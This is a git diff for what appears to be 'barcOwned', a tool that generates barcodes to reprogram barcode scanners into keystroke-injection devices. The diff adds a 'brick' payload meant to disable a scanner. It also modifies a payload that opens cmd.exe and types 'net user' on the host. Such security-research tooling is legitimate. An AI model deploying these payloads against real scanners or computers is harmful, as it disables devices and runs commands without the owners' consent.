diff --git a/Procfile b/Procfile new file mode 100644 index 0000000..629b83a --- /dev/null +++ b/Procfile @@ -0,0 +1 @@ +web: python main.py diff --git a/js/main.js b/js/main.js index 746ed20..e0d3bea 100644 --- a/js/main.js +++ b/js/main.js @@ -326,12 +326,13 @@ jQuery(($) => { aggregateBarcode = "^234" + // Reader programming "N6" + // Begin 2D barcode "S2681000" + // Config title follows? - "barcOwned " + // Configuration title - "N5" // Begin programming codes + "barcOwned " // Configuration title setupBarcodes.forEach((barcode) => { // FNC3 isn't needed in aggregate aggregateBarcode += barcode.code.replace("^FNC3", "") + // N5 is prefixed on begin rules + .replace("7B1211", "N57B1211") }) Logger.debug(["Raw aggregate barcode:", aggregateBarcode]) return [{ @@ -339,8 +340,8 @@ jQuery(($) => { //code: encodeC40("^234N6S2681000barcOwned N57B12116C201B60B30B32B+6A1443526A14E5146A1433036A1106A1186A14470D4"), symbology: 'datamatrix', BWIPPoptions: { - raw : true - } + raw : true + } }] } diff --git a/main.py b/main.py index 5ed3819..53b3870 100644 --- a/main.py +++ b/main.py @@ -2,7 +2,7 @@ # to enable file saving functionality runMode = "public" -from os import listdir, path +from os import listdir, path, getenv import json import os from aiohttp import web @@ -68,4 +68,4 @@ async def handle_payload_put(request): name='root', show_index=True) -web.run_app(app) +web.run_app(app, port = int(getenv('PORT', 8080))) \ No newline at end of file diff --git a/payloads/brick.json b/payloads/brick.json new file mode 100644 index 0000000..e96920a --- /dev/null +++ b/payloads/brick.json @@ -0,0 +1,24 @@ +{ + "name": "Brick", + "description": "Soft brick your barcode scanner!", + + "setup": { + "options": [], + "rules": [ + { + "criteria": [ + ], + "actions": [ + ["sendpausealt", "99"], + ["sendpausealt", "99"] + ] + } + ] + }, + + "payload": [ + "038000144158", + "please help", + "im trapped in a barcodefactory" + ] +} diff --git a/payloads/run-cmd.json b/payloads/run-cmd.json index daa655c..fd3a711 100644 --- a/payloads/run-cmd.json +++ b/payloads/run-cmd.json @@ -19,9 +19,10 @@ }, { "criteria": [ - ["stringatstart", "^"] + ["stringatstart", "~"] ], "actions": [ + ["skipcharacters", 1], ["sendremaining"], ["sendenter"] ] @@ -31,6 +32,6 @@ "payload": [ "!cmd.exe", - "^net user" + "~net user" ] } \ No newline at end of file diff --git a/payloads/tetris.json b/payloads/tetris.json index e324c7f..7964478 100644 --- a/payloads/tetris.json +++ b/payloads/tetris.json @@ -1,18 +1,10 @@ { "name": "Tetris", - "description": "Play Tetris slowly and awkwardly!", + "description": "Play Tetris slowly and awkwardly! Works for https://tetris.com/play-tetris", "setup": { "options": [], "rules": [ - { - "criteria": [ - ["stringatstart", "up"] - ], - "actions": [ - ["sendarrowkey", "up"] - ] - }, { "criteria": [ ["stringatstart", "down"] @@ -36,14 +28,40 @@ "actions": [ ["sendarrowkey", "right"] ] + }, + { + "criteria": [ + ["stringatstart", "rotateleft"] + ], + "actions": [ + ["sendtext", "z"] + ] + }, + { + "criteria": [ + ["stringatstart", "rotateright"] + ], + "actions": [ + ["sendarrowkey", "up"] + ] + }, + { + "criteria": [ + ["stringatstart", "harddrop"] + ], + "actions": [ + ["sendtext", " "] + ] } ] }, "payload": [ - "up", "down", "left", - "right" + "right", + "rotateleft", + "rotateright", + "harddrop" ] }